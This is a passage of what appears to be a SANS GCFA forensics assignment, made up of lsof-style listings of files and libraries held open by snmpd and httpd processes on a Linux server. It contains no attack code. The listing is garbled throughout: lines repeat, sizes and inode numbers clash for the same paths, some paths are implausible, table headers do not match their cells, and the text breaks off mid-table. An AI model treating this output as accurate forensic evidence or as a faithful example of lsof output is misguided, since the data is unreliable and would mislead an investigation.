snmpd 8154 root mem REG 3,5 289538 65359 /usr/lib/libssl.so.0.4.2
snmpd 8154 root mem REG 3,2 2066537 65361 /usr/lib/libpopt.so-0.4.0.so
snmpd 8154 root mem REG 3,2 447647 65362 /usr/lib/libpopt.so-0.4.0.so
snmpd 8154 root mem REG 3,5 101902 73734 /lib/home/ssl/libthread-0.9.so
snmpd 8154 root mem REG 3,5 34206 65357 /usr/lib/libpopt.so-0.0.0
snmpd 8154 root mem REG 3,2 29376 65299 /usr/lib/libpopt.so-0.0.0
snmpd 8154 root mem REG 3,2 66646 65263 /usr/lib/libpopt.so-0.1.0.2
snmpd 8154 root mem REG 3,2 59778 65358 /usr/lib/libssl.so.0.1.1.3
snmpd 8154 root mem REG 3,5 173359 73732 /lib/home/ssl/libssl-2.2.5.so
snmpd 8154 root mem REG 3,2 45415 65353 /lib/libnss_files-2.2.5.so
snmpd 8154 root mem REG 3,2 173680 130324

httpd 10606 root mem REG 3,2 1401027 73730 /lib/home/ssl/libc-2.2.5.so
snmpd 8154 root mem REG 3,2 173680 73732 /lib/i686/libm.so.2.2.5
snmpd 8154 root mem REG 3,2 368596 66252 /usr/lib/libssl.so.0.4.2
snmpd 8154 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
snmpd 8154 root mem REG 3,5 12102 63503 /lib/libssl-2.2.5.so
snmpd 8154 root mem REG 3,5 289538 65359 /usr/lib/libssl.so.0.4.2
snmpd 8154 root mem REG 3,2 29376 65299 /usr/lib/libpopt.so-0.0.0
snmpd 8154 root mem REG 3,2 66646 65263 /usr/lib/libpopt.so-0.1.0.2
snmpd 8154 root mem REG 3,2 59778 65358 /usr/lib/libssl.so.0.1.1.3
snmpd 8154 root mem REG 3,5 173359 73732 /lib/home/ssl/libssl-2.2.5.so
snmpd 8154 root mem REG 3,2 45415 65353 /lib/libnss_files-2.2.5.so
snmpd 8154 root mem REG 3,2 173680 130324

httpd 8125 root 0r REG 3,5 9637 261678 pipe
httpd 8125 root 1w FIFO 0,5 9637 /dev/null
httpd 8125 root 2w FIFO 0,5 361688 pipe
httpd 8125 root 3w CHR 1,3 9637 /dev/null
httpd 8125 root 4u IPv4 361701 TCP :smux (LISTEN)
httpd 8125 root 5u IPv4 361709 TCP :http (LISTEN)
httpd 8125 root 6u unix 0xc4e7e0a0 361710 socket
httpd 8106 root cwd DIR 3,5 1024 2
httpd 8106 root rtd DIR 3,5 1024 2
httpd 8106 root txt REG 3,2 290169 131802 /usr/sbin/httpd
httpd 8106 root mem REG 3,5 89547 63490 /lib/ld.so.1.2.5.so
httpd 8106 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 8106 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_log_agent.so
httpd 8106 root mem REG 3,2 19529 229513 /usr/lib/apache/mod_log_config.so
httpd 8106 root mem REG 3,2 19529 229513 /usr/lib/apache/mod_log_agent.so
httpd 8106 root mem REG 3,2 19529 229513 /usr/lib/apache/mod_log_referer.so
httpd 8106 root mem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 8106 root mem REG 3,2 371 130311

httpd 10606 root mem REG 3,5 101902 73732 /lib/home/ssl/libthread-0.9.so
httpd 10606 root mem REG 3,5 173359 73732 /lib/home/ssl/libm-2.2.5.so
httpd 10606 root mem REG 3,2 23575 63501 /lib/libcrypto.so.0.9.6b
httpd 10606 root mem REG 3,2 30282 65354 /lib/libssl.so-3.3.so
httpd 10606 root mem REG 3,2 19662 66292 /lib/libpopt.so-11.0.23
httpd 10606 root mem REG 3,2 141735 65380 /lib/libexpat.so.0.9.1.0
httpd 10606 root mem REG 3,2 12102 63503 /lib/libssl-2.2.5.so
httpd 10606 root mem REG 3,2 14929 229513 /usr/lib/apache/mod_mime.so
httpd 10606 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 10606 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 10606 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 10606 root mem REG 3,2 35886 229511 /usr/lib/apache/mod_include.so
httpd 10606 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 10606 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 10606 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 10606 root mem REG 3,2 15974 229494 /usr/lib/apache/mod_autoindex.so
httpd 10606 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10606 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
httpd 10606 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
httpd 10606 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so

Kevin Miller - Sans GCFA Assignment – v1.4
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 10606 root mem REG 3,2 11985 222497 /usr/lib/apache/mod_auth.so
httpd 10606 root mem REG 3,2 8486 222498 /usr/lib/apache/mod_auth_anon.so
httpd 10606 root mem REG 3,2 9304 222499 /usr/lib/apache/mod_auth_db.so
httpd 10606 root mem REG 3,2 9900 222500 /usr/lib/apache/mod_expires.so
httpd 10606 root mem REG 3,2 8261 222501 /usr/lib/apache/mod_headers.so
httpd 10606 root mem REG 3,2 10176 222521 /usr/lib/apache/mod_setenvif.so
httpd 10606 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 10606 root mem REG 3,2 92407 440046 /usr/kerberos/lib/libgssapi_krb5.so.2.2
httpd 10606 root mem REG 3,2 122952 229529 /usr/lib/apache/libdav.so
httpd 10606 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 10606 root mem REG 3,2 1453198 425001 /usr/lib/php4/imap.so
httpd 10606 root mem REG 3,2 92407 440046 /usr/kerberos/lib/libgssapi_krb5.so.2.2
httpd 10606 root mem REG 3,2 11174 63541 /lib/libutil-2.2.5.so
httpd 10606 root mem REG 3,2 125026 /dev/null
httpd 10606 root mem REG 3,2 92407 440046 /usr/kerberos/lib/libgssapi_krb5.so.2.2
httpd 10606 root mem REG 3,2 1401027 73730 /lib/i686/libc-2.2.5.so
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>PID</th>
<th>Mode</th>
<th>UID</th>
<th>GID</th>
<th>Size</th>
<th>Flags</th>
<th>Address</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>10606</td>
<td>1w</td>
<td>CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10606</td>
<td>2w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td>/var/log/httpd/error_log</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10606</td>
<td>3u</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>/var/run/httpd.mm.8124.sem</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10606</td>
<td>4u</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>/tmp/session_mm_apache0.sock</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10606</td>
<td>5u</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td>/tmp/session_mm_apache0.sock</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10606</td>
<td>15w</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td>/var/log/httpd/error_log</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10606</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP</td>
<td>:https (LISTEN)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10606</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP</td>
<td>:http (LISTEN)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>/</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>txt</td>
<td>REG</td>
<td>3,2</td>
<td>290169</td>
<td>/usr/sbin/httpd</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9883</td>
<td>/usr/lib/apache/mod_vhost_alias.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8301</td>
<td>/usr/lib/apache/mod_env.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>17638</td>
<td>/usr/lib/apache/mod_log_config.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>7438</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8530</td>
<td>/usr/lib/apache/mod_log_referer.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8274</td>
<td>/usr/lib/apache/mod_dir.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14929</td>
<td>/usr/lib/apache/mod_mime.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27415</td>
<td>/usr/lib/apache/mod_negotiation.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19659</td>
<td>/usr/lib/apache/mod_info.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35886</td>
<td>/usr/lib/apache/mod_include.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27836</td>
<td>/usr/lib/apache/mod_autoindex.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14940</td>
<td>/usr/lib/apache/mod_cgi.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>6924</td>
<td>/usr/lib/apache/mod_asis.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>15974</td>
<td>/usr/lib/apache/mod_output_status.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8541</td>
<td>/usr/lib/apache/mod_actions.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8770</td>
<td>/usr/lib/apache/mod_userdir.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10617</td>
<td>/usr/lib/apache/mod_alias.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>53189</td>
<td>/usr/lib/apache/mod_rewrite.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10034</td>
<td>/usr/lib/apache/mod_access.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985</td>
<td>/usr/lib/apache/mod_auth.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900</td>
<td>/usr/lib/apache/mod_alias.so</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>10607</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>58</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 10607 root mem REG 3,2 292 130313
/usr/lib/locale/en_US.iso885915/LC_MONO
httpd 10607 root mem REG 3,2 22592 130323
httpd 10607 root mem REG 3,2 1581 39424 63507 /lib/libnsl-2.2.5.so
httpd 10607 root mem REG 3,2 22551 /usr/lib/apache/libphp4.so
httpd 10607 root mem REG 3,2 35340 63567 /lib/libpam.so.0.75
httpd 10607 root mem REG 3,2 28138 66033 /usr/lib/libctl.so.3.1.0
httpd 10607 root mem REG 3,2 5300 66039 /usr/lib/libcrypt-modules.so.1.0.1
httpd 10607 root mem REG 3,2 426642 65304 /usr/lib/libstdc++-4++-libc6.2-2-2.10.0.so
httpd 10607 root mem REG 3,2 131560 65396 /usr/lib/libmysql.so.2.1.0.12
httpd 10607 root mem REG 3,2 146819 66089 /usr/lib/libcurll.so.2.0.2
httpd 10607 root mem REG 3,2 924879 63562 /lib/libcrypto.so.0.9.6b
httpd 10607 root mem REG 3,2 207008 63563 /lib/libssl.so.0.9.6b
httpd 10607 root mem REG 3,2 68925 63535 /lib/libresolv-2.2.5.so
httpd 10607 root mem REG 3,2 153026 66042 /usr/lib/libicu40.so.4.0.3
httpd 10607 root mem REG 3,2 290511 63511 /usr/lib/libmcrurses.so.5.2
httpd 10607 root mem REG 3,2 215482 63586 /usr/lib/libgmp.so.3.2.1
httpd 10607 root mem REG 3,2 196866 66287 /usr/lib/libgdbm.so.2.0.15
httpd 10607 root mem REG 3,2 717774 65424 /lib/libthreading-1.so.1.4.19
httpd 10607 root mem REG 3,2 66646 65263 /lib/libbz2.so.1.0
httpd 10607 root mem REG 3,2 189626 65384 /usr/lib/libtiff.so.3.2.0
httpd 10607 root mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
httpd 10607 root mem REG 3,2 79725 440048 /usr/kerberos/lib/libkrb5.so.3.1
httpd 10607 root mem REG 3,2 42069 425002 /usr/lib/php4/libldap.so
httpd 10607 root mem REG 3,2 44992 65349 /usr/lib/libldap.so.2.0.15
httpd 10607 root mem REG 3,2 45415 65352 /lib/libnss_files.so.5.2
httpd 10607 root mem REG 3,2 2457 130317 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
httpd 10607 root mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 10607 root mem REG 3,2 1264225 229530 /usr/lib/apache/libperl.so
httpd 10607 root mem REG 3,2 146819 /usr/lib/libcurl1.so.2.0.2
httpd 10607 root mem REG 3,2 8530 /usr/lib/apache/mod_log_referer.so
httpd 10607 root mem REG 3,2 7438 /usr/lib/apache/mod_log_agent.so
httpd 10607 root mem REG 3,2 17638 /usr/lib/apache/mod_vhost_alias.so
httpd 10607 root mem REG 3,2 8301 /usr/lib/apache/mod_env.so
httpd 10607 root mem REG 3,2 9883 /usr/lib/apache/mod_vhost_alias.so
httpd 10607 root mem REG 3,2 7438 /usr/lib/apache/mod_log_agent.so
httpd 10607 root mem REG 3,2 8530 /usr/lib/apache/mod_log_referer.so
httpd 10607 root mem REG 3,2 8274 /usr/lib/apache/mod_dir.so
httpd 10607 root mem REG 3,2 371 130311 /etc/sudoers
httpd 10607 root mem REG 3,2 101902 73734 /lib/libpthread-0.9.so
httpd 10607 root mem REG 3,2 173359 73732 /lib/libthreading-1.so.1.4.19
httpd 10607 root mem REG 3,2 23575 65301 /lib/libcrypto.so.0.9.6b
httpd 10607 root mem REG 3,2 30282 65273 /usr/lib/libgd.so.1.8.4
httpd 10608 root mem REG 3,5 655224 63543 /lib/libdb-3.3.so
httpd 10608 root mem REG 3,2 19662 66292 /usr/lib/libm.so.11.0.23
httpd 10608 root mem REG 3,2 141735 65380 /usr/lib/libexpat.so.0.1.0
httpd 10608 root mem REG 3,5 12102 65303 /lib/libdl-2.2.5.so
httpd 10608 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
httpd 10608 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 10608 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 10608 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 10608 root mem REG 3,2 35886 229511 /usr/lib/apache/mod.include.so
httpd 10608 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 10608 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 10608 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 10608 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_imap.so
httpd 10608 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 10608 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10608 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
httpd 10608 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
httpd 10608 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10608 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 10608 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 10608 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 10608 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 10608 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 10608 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 10608 root mem REG 3,2 92407 40046 /usr/lib/security/cert_store.so
httpd 10608 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 10608 root mem REG 3,2 122952 229523 /usr/lib/apache/mod_access.so
httpd 10608 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 10608 root mem REG 3,2 1453198 425001 /usr/lib/php/imap.so
httpd 10608 root mem REG 3,2 8621 440043 /lib/kerberos/lib/krb5.so.2.2.5
httpd 10608 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 10608 root mem REG 3,2 29 130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
httpd 10608 root mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 10608 root mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 10608 root mem REG 3,2 83 130314 /usr/lib/locale/en_US.iso885915/LC_NAME
httpd 10608 root mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 10608 root mem REG 3,2 58 173760 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
httpd 10608 root mem REG 3,2 292 130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 10608 root mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 10608 root mem REG 3,5 89424 63507 /lib/libssl-2.2.5.so
httpd 10608 root mem REG 3,2 1561021 229551 /usr/lib/php4/imap.so
httpd 10608 root mem REG 3,2 14929 229493 /usr/lib/apache/mod_access.so
httpd 10608 root mem REG 3,2 189626 65384 /usr/lib/libpspell.so.4.0.3
httpd 10608 root mem REG 3,2 35886 229511 /usr/lib/apache/mod.include.so
httpd 10608 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 10608 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 10608 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 10608 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_imap.so
httpd 10608 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 10608 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 10608 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
httpd 10608 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
httpd 10608 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 10608 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 10608 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 10608 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
httpd 10608 root mem REG 3,2 9900 229508 /usr/lib/apache/mod_expires.so
httpd 10608 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 10608 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 10608 root mem REG 3,2 92407 40046 /usr/lib/security/cert_store.so
httpd 10608 root mem REG 3,5 11174 63541 /lib/libutil-2.2.5.so
httpd 10608 root mem REG 3,2 122952 229523 /usr/lib/apache/libdav.so
httpd 10608 root mem REG 3,2 210094 229531 /usr/lib/apache/libssl.so
httpd 10608 root mem REG 3,2 1453198 425001 /usr/lib/php/imap.so
httpd 10608 root mem REG 3,2 8621 440043 /lib/kerberos/lib/krb5.so.2.2.5
httpd 10608 root mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
httpd 10608 root mem REG 3,2 29 130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
httpd 10608 root mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 10608 root mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 10608 root mem REG 3,2 83 130314 /usr/lib/locale/en_US.iso885915/LC_NAME
httpd 10608 root mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 10608 root mem REG 3,2 58 173760 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
httpd 10608 root mem REG 3,2 292 130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 10608 root mem REG 3,2 22592 130323 /usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 10608 root mem REG 3,5 89424 63507 /lib/libssl-2.2.5.so
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Priority</th>
<th>Flags</th>
<th>Start</th>
<th>Time</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>11174</td>
<td></td>
<td>/lib/ssl.so.3.0</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>122952</td>
<td></td>
<td>/lib/apache/libdb4.so</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>210094</td>
<td></td>
<td>/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>20666</td>
<td></td>
<td>/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>65</td>
<td></td>
<td>/lib/libnsl-2.2.5.so</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>1561021</td>
<td></td>
<td>/usr/lib/apache/libphp4.so</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>35340</td>
<td></td>
<td>/lib/libpam.so.0.75</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>28138</td>
<td></td>
<td>/usr/lib/libltdl.so.3.1.0</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>153026</td>
<td></td>
<td>/usr/lib/libpspell.so.4.0.3</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>290511</td>
<td></td>
<td>/usr/lib/libncurses.so.5.2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>215482</td>
<td></td>
<td>/usr/lib/libgmp.so.3.2.1</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>196866</td>
<td></td>
<td>/usr/lib/libgd.so.1.8.4</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>79725</td>
<td></td>
<td>/usr/kerberos/lib/libk5crypto.so.3.0</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>42069</td>
<td></td>
<td>/usr/lib/php/ldap.so</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>44992</td>
<td></td>
<td>/usr/lib/libber.so.2.0.15</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>45415</td>
<td></td>
<td>/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>2457</td>
<td></td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>1264225</td>
<td></td>
<td>/lib/apache/libdb4.so</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>427611</td>
<td></td>
<td>/lib/libdbap.so.2.0.15</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>191615</td>
<td></td>
<td>/lib/libnss_files-2.2.5.so</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>48583</td>
<td></td>
<td>/lib/libssp.so.1.0.2</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>46117</td>
<td></td>
<td>/lib/libnss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>1401027</td>
<td></td>
<td>/lib/libssp.so.2.4.19</td>
</tr>
<tr>
<td>httpd 10609</td>
<td>root</td>
<td>REG</td>
<td></td>
<td>79725</td>
<td></td>
<td>/dev/null</td>
</tr>
</tbody>
</table>

(deleted)
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Command</th>
<th>Status</th>
<th>Priority</th>
<th>Memory</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>426442</td>
<td>/usr/lib/libstdc++-3-3 libc6.2-2.10.0.so</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>131560</td>
<td>/usr/lib/libpng.so 2.1.0.12</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>59778</td>
<td>/usr/lib/libcrypto.so.0.9.6</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,2</td>
<td>146819</td>
<td>/usr/lib/libcurl.so.2.0</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
<td>924879</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>httpd</td>
<td>10610</td>
<td>root</td>
<td>mem REG</td>
<td>3,5</td>
